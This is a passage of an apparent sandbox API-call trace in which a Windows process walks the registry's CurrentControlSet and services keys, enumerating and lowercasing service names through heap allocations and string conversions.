Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.785] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0254.785] RegCloseKey (hKey=0x148) returned 0x0 [0254.785] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.785] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.785] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.786] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0254.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.787] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.787] RegCloseKey (hKey=0x150) returned 0x0 [0254.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f19b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0254.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f19b8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f19b8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.789] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, 